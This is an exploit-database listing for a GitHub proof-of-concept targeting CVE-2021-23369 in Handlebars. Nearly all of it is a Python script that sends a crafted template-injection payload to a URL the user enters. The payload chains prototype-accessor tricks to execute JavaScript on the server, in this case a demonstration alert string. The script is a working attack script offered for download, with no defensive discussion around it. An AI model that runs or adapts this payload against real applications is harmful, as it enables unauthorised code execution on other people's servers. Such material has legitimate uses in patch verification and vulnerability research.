Exploit database

GH-e78a654b24ca630edd6e9a96bbbd27ab

fazilbaig1/cve-2021-23369

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-23369

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3
fazilbaig1/cve-2021-23369Revision a4fe8497a045

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

handlebars_exploit.py

Suggested starting filePython · 1,362 bytes
import requests

def exploit(url):
    # Malicious Handlebars template payload (based on POC shared earlier)
    payload = (
        "{{#with (__lookupGetter__ \"__proto__\")}}"
        "{{#with (./constructor.getOwnPropertyDescriptor . \"valueOf\")}}"
        "{{#with ../constructor.prototype}}"
        "{{../../constructor.defineProperty . \"hasOwnProperty\" ..}}"
        "{{/with}}"
        "{{/with}}"
        "{{/with}}"
        "{{#with \"constructor\"}}"
        "{{#with split}}"
        "{{pop (push \"alert('Vulnerable to CVE-2021-23369')\")}}"
        "{{#with .}}"
        "{{#with (concat (lookup join (slice 0 1)))}}"
        "{{#each (slice 2 3)}}"
        "{{#with (apply 0 ../..)}}"
        "{{.}}"
        "{{/with}}"
        "{{/each}}"
        "{{/with}}"
        "{{/with}}"
        "{{/with}}"
    )

    print(f"[+] Sending exploit payload to {url}...")
    try:
        response = requests.post(url, data={'template': payload})
        if response.status_code == 200:
            print("[+] Exploit executed successfully.")
            print("Response:", response.text)
        else:
            print(f"[!] Failed with status code: {response.status_code}")
    except requests.RequestException as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    target_url = input("Enter the target URL: ")
    exploit(target_url)